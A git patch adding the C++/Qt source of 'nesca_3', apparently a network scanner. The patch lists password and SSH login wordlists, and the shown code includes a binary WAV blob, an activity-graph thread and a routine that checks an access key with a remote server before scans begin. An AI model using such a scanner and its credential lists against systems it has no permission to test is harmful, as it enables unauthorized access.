From 99da36c3f0fb57d091dfe02d3f1665db1b3d1f08 Mon Sep 17 00:00:00 2001 From: cora32 Date: Sun, 7 Sep 2014 21:54:46 +0300 Subject: [PATCH] 3_2266B_784 --- 00000036.wav | Bin 0 -> 12848 bytes ActivityDrawerTh_HorNet.cpp | 37 + ActivityDrawerTh_HorNet.h | 21 + CheckKey_Th.cpp | 241 +++ CheckKey_Th.h | 17 + CheckProxy_Th.cpp | 155 ++ CheckProxy_Th.h | 28 + DrawerTh_GridQoSScanner.cpp | 23 + DrawerTh_GridQoSScanner.h | 23 + DrawerTh_HorNet.cpp | 42 + DrawerTh_HorNet.h | 26 + DrawerTh_ME2Scanner.cpp | 148 ++ DrawerTh_ME2Scanner.h | 23 + DrawerTh_QoSScanner.cpp | 61 + DrawerTh_QoSScanner.h | 22 + DrawerTh_VoiceScanner.cpp | 134 ++ DrawerTh_VoiceScanner.h | 24 + Eurostile.ttf | Bin 0 -> 38116 bytes IRCPinger_Th.cpp | 30 + IRCPinger_Th.h | 24 + STh.cpp | 102 + STh.h | 70 + base64.cpp | 96 + base64.h | 4 + connector.cpp | 2680 +++++++++++++++++++++++ finder.cpp | 2829 +++++++++++++++++++++++++ irc_nmblinker.cpp | 16 + irc_nmblinker.h | 20 + login.txt | 27 + main.cpp | 45 + msgcheckerthread.cpp | 43 + msgcheckerthread.h | 20 + negatives.txt | 838 ++++++++ nesca_3.cpp | 3990 +++++++++++++++++++++++++++++++++++ nesca_3.h | 203 ++ nesca_3.qrc | 6 + nesca_3.ui | 3948 ++++++++++++++++++++++++++++++++++ nesca_startModule.cpp | 2686 +++++++++++++++++++++++ oIRC_Th.cpp | 819 +++++++ oIRC_Th.h | 48 + pass.txt | 50 + piestat.cpp | 24 + piestat.h | 22 + progressbardrawer.cpp | 16 + progressbardrawer.h | 20 + resource.h | 253 +++ sshpass.txt | 24 + vercheckerthread.cpp | 32 + vercheckerthread.h | 19 + wflogin.txt | 3 + wfpass.txt | 10 + 51 files changed, 20042 insertions(+) create mode 100644 00000036.wav create mode 100644 ActivityDrawerTh_HorNet.cpp create mode 100644 ActivityDrawerTh_HorNet.h create mode 100644 CheckKey_Th.cpp create mode 100644 CheckKey_Th.h create mode 100644 CheckProxy_Th.cpp create mode 100644 CheckProxy_Th.h create mode 100644 DrawerTh_GridQoSScanner.cpp create mode 100644 DrawerTh_GridQoSScanner.h create mode 100644 DrawerTh_HorNet.cpp create mode 100644 DrawerTh_HorNet.h create mode 100644 DrawerTh_ME2Scanner.cpp create mode 100644 DrawerTh_ME2Scanner.h create mode 100644 DrawerTh_QoSScanner.cpp create mode 100644 DrawerTh_QoSScanner.h create mode 100644 DrawerTh_VoiceScanner.cpp create mode 100644 DrawerTh_VoiceScanner.h create mode 100644 Eurostile.ttf create mode 100644 IRCPinger_Th.cpp create mode 100644 IRCPinger_Th.h create mode 100644 STh.cpp create mode 100644 STh.h create mode 100644 base64.cpp create mode 100644 base64.h create mode 100644 connector.cpp create mode 100644 finder.cpp create mode 100644 irc_nmblinker.cpp create mode 100644 irc_nmblinker.h create mode 100644 login.txt create mode 100644 main.cpp create mode 100644 msgcheckerthread.cpp create mode 100644 msgcheckerthread.h create mode 100644 negatives.txt create mode 100644 nesca_3.cpp create mode 100644 nesca_3.h create mode 100644 nesca_3.qrc create mode 100644 nesca_3.ui create mode 100644 nesca_startModule.cpp create mode 100644 oIRC_Th.cpp create mode 100644 oIRC_Th.h create mode 100644 pass.txt create mode 100644 piestat.cpp create mode 100644 piestat.h create mode 100644 progressbardrawer.cpp create mode 100644 progressbardrawer.h create mode 100644 resource.h create mode 100644 sshpass.txt create mode 100644 vercheckerthread.cpp create mode 100644 vercheckerthread.h create mode 100644 wflogin.txt create mode 100644 wfpass.txt diff --git a/00000036.wav b/00000036.wav new file mode 100644 index 0000000000000000000000000000000000000000..84665499728b7af7652ad49eb665c3c88c559954 GIT binary patch literal 12848 zcmb`uXIK=;`!!tMJp&9mN=}khKm}1T0HT;MXV<*uwC1>L)-~_yy5_8FToq9<6Ga3G zDo9jvkQ|0Ep}Xrj!~Xss-tVt<_0ZGZQ+4{>v8rw-jtmR)>`lnDkg3BKuiD^bObB7n z$Zt4N5yBE1_db*8Xqv&gzNYiLGEuz)5g;J_b%!w1} zM*5LqWFnbER+H`I5IIf$A1sz^q`_Gruthm}ATz z%-_s8<^pqxxy+nrPBW))kOER0VU9E37!P(M z8^`K$juiPqu;!A*F`2l6TEd1|HVtSU%VtGuY3sdQ2{ zD&8yZDNZYnD^4n|E8ZxI6voPM&IuzV_eR<~qOYH0z9!U6g&38R`1!2J43C_S7}f{VqE%8zw8(S*}yA zJzo31mQvbZx>j<5d&OolWu%d|i)umOSzcFdrgBvdQ2f+!pgp=x(l)&{MjjxKZJF0% z-14pYb@Q|4cg^+9JzDm)w6^S!+qHgbz1a3^`>Kw$iv7yFs(iJ%FkQS!Tghnl3fCeT zr1iV@dmTa6RWDF~ut6_F6QfL{-NvRSM@-60oJSaboZqmu{@*&bZbz+k z?YEkwn(P|A+GVx%wdd=W*UxNN(|D^%*}PKT+IpsatinQ7t4Tf_pRn$_0=D7RVGy@D}yVYD*IG! zuas9_tlIG7x9W%*)4B`wqZ)0S4dhmBgE}@TNq1|f$T3a~WwY9rv72l6yWJ)`U%SV)yp4%Xlhrj#r!MQw&zW8@-eTBK|GR9Zc7
|tqIiF?WO;(f&@it~!+m2@q2ESp>& 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 +}; +void ActivityDrawerTh_HorNet::doEmitDrawGrid() +{ + emit adtHN->sDrawGrid(); +}; + +void makeActLine(int val) +{ + if(actLst.size() < 50) actLst.push_back(val); + else + { + actLst.pop_front(); + actLst.push_back(val); + }; +}; +void ActivityDrawerTh_HorNet::run() +{ + adtHN->doEmitDrawGrid(); + int maxAct = Activity + 1; + int nm = 0; + while(true) + { + if(maxAct < Activity) maxAct = Activity; + if(maxAct > 1000) nm = maxAct-=1000; + else if(maxAct > 10) nm = maxAct-=10; + makeActLine(((float)Activity/(nm != 0 ? nm : 1)) * 10); + adtHN->doEmitDrawActivityLine(QString::number(Activity) + "b"); + Activity = 0; + msleep(130); + }; +}; \ No newline at end of file diff --git a/ActivityDrawerTh_HorNet.h b/ActivityDrawerTh_HorNet.h new file mode 100644 index 0000000..53ccc43 --- /dev/null +++ b/ActivityDrawerTh_HorNet.h @@ -0,0 +1,21 @@ +#ifndef ACTIVITYDRAWERTH_HORNET_H +#define ACTIVITYDRAWERTH_HORNET_H + +#pragma once +#include "nesca_3.h" + +class ActivityDrawerTh_HorNet : public QThread +{ + Q_OBJECT + +public: signals: void sDrawActivityLine(QString); +public: signals: void sDrawGrid(); + +public: + static void doEmitDrawActivityLine(QString data); + static void doEmitDrawGrid(); +protected: + void run(); +}; +extern ActivityDrawerTh_HorNet *adtHN; +#endif // ACTIVITYDRAWERTH_HORNET_H diff --git a/CheckKey_Th.cpp b/CheckKey_Th.cpp new file mode 100644 index 0000000..317bfda --- /dev/null +++ b/CheckKey_Th.cpp @@ -0,0 +1,241 @@ +#pragma once +#include "CheckKey_Th.h" +#include "CheckProxy_Th.h" +#include "STh.h" +int emitIfOK = -1; +int KeyCheckerMain() +{ + int kLen = strlen(trcPersKey); + if(kLen == 0) + { + stt->doEmitionRedFoundData("[Key check] Key field is empty."); + return -1; + } + else if(kLen < 32) + { + stt->doEmitionRedFoundData("[Key check] Key length is not valid."); + return -1; + }; + char msg[1024] = {0}; + char ndbServer[64] = {0}; + char ndbScript[64] = {0}; + + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + + strcpy(msg, "GET "); + strcat(msg, "/"); + strcat(msg, trcScr); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, trcSrv); + strcat(msg, "\r\nX-Nescav3: True"); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + + HOSTENT *host; + +#if defined(WIN32) + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); + int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(test == -1) + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); + closesocket(sock); + return -1; +#pragma endregion + }; + + test = send(sock, msg, strlen(msg), 0); + + if(test == -1) + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); + closesocket(sock); + return -1; +#pragma endregion + }; + + ZeroMemory(msg, sizeof(msg)); + int ror = sizeof(msg); + + test = recv(sock, msg, sizeof(msg), 0); + char buff[512] = {0}; + while((test = recv(sock, msg, sizeof(msg), 0)) != 0) + { + strcat(msg, buff); + }; + + if(test == -1) + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); + closesocket(sock); + return -1; +#pragma endregion + }; + + char *t1; + char *t2; + if(strstr(msg, "http://") != NULL) + { + t1 = strstr(msg, "http://"); + if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) + { + t2 = strstr((char*)(t1 + strlen("http://")), "/"); + int ln = t2 - t1 - strlen("http://"); + if(ln > 64) + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + closesocket(sock); + return -1; +#pragma endregion + } + else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); + + + if(strlen(t2) > 64) + { + #pragma region QTGUI_Area + stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); + #pragma endregion + if(strstr(t2, "\r\n") != NULL) + { + char *t3 = strstr(t2, "\r\n"); + int y = (int)(t3 - t2); + + if(y > 64) + { + #pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + closesocket(sock); + return -1; + #pragma endregion + } + else + { + strncpy(ndbScript, t2, y); + }; + } + else + { + #pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + closesocket(sock); + return -1; + #pragma endregion + }; + } else strcpy(ndbScript, t2); + } + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); + closesocket(sock); + return -1; +#pragma endregion + }; + + ZeroMemory(msg, sizeof(msg)); + +#pragma region QTGUI_Area + stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); + closesocket(sock); +#pragma endregion + + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + strcpy(msg, "GET "); + strcat(msg, "/api/checkaccount?key="); + strncat(msg, trcPersKey, 32); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, ndbServer); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + +#if defined(WIN32) + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Connection timeout."); + closesocket(sock); + return -1; + }; + c = send(sock, msg, strlen(msg), 0); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Send error."); + closesocket(sock); + return -1; + }; + ZeroMemory(msg, sizeof(msg)); + test = recv(sock, msg, 512, 0); + + if(strstr(msg, "202 Accepted") != NULL) + { +#pragma region QTGUI_Area + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); +#pragma endregion + closesocket(sock); + if(emitIfOK == 0) stt->doEmitionStartScanIP(); + else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); + else if(emitIfOK == 2) stt->doEmitionStartScanImport(); + return 1; + } + else if(strstr(msg, "400 Bad Request") != NULL) + { +#pragma region QTGUI_Area + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); +#pragma endregion + closesocket(sock); + return -1; + } + else + { +#pragma region QTGUI_Area + stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ")"); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); +#pragma endregion + closesocket(sock); + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + closesocket(sock); + } + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); + closesocket(sock); + return -1; +#pragma endregion + }; +}; + +void CheckKey_Th::run() +{ + KeyCheckerMain(); +}; diff --git a/CheckKey_Th.h b/CheckKey_Th.h new file mode 100644 index 0000000..7c31e8f --- /dev/null +++ b/CheckKey_Th.h @@ -0,0 +1,17 @@ +#ifndef CHECKKEY_TH_H +#define CHECKKEY_TH_H + +#pragma once +#include "nesca_3.h" +#include "resource.h" +extern int emitIfOK; +class CheckKey_Th : public QThread +{ + Q_OBJECT + +protected: + void run(); +}; + +extern CheckKey_Th *chKTh; +#endif // CHECKKEY_TH_H diff --git a/CheckProxy_Th.cpp b/CheckProxy_Th.cpp new file mode 100644 index 0000000..4b86a08 --- /dev/null +++ b/CheckProxy_Th.cpp @@ -0,0 +1,155 @@ +#include "CheckProxy_Th.h" + +void CheckProxy_Th::doEmitChangeRedIRCData(QString str) +{ + emit chPTh->changeRedIRCData(str); +}; 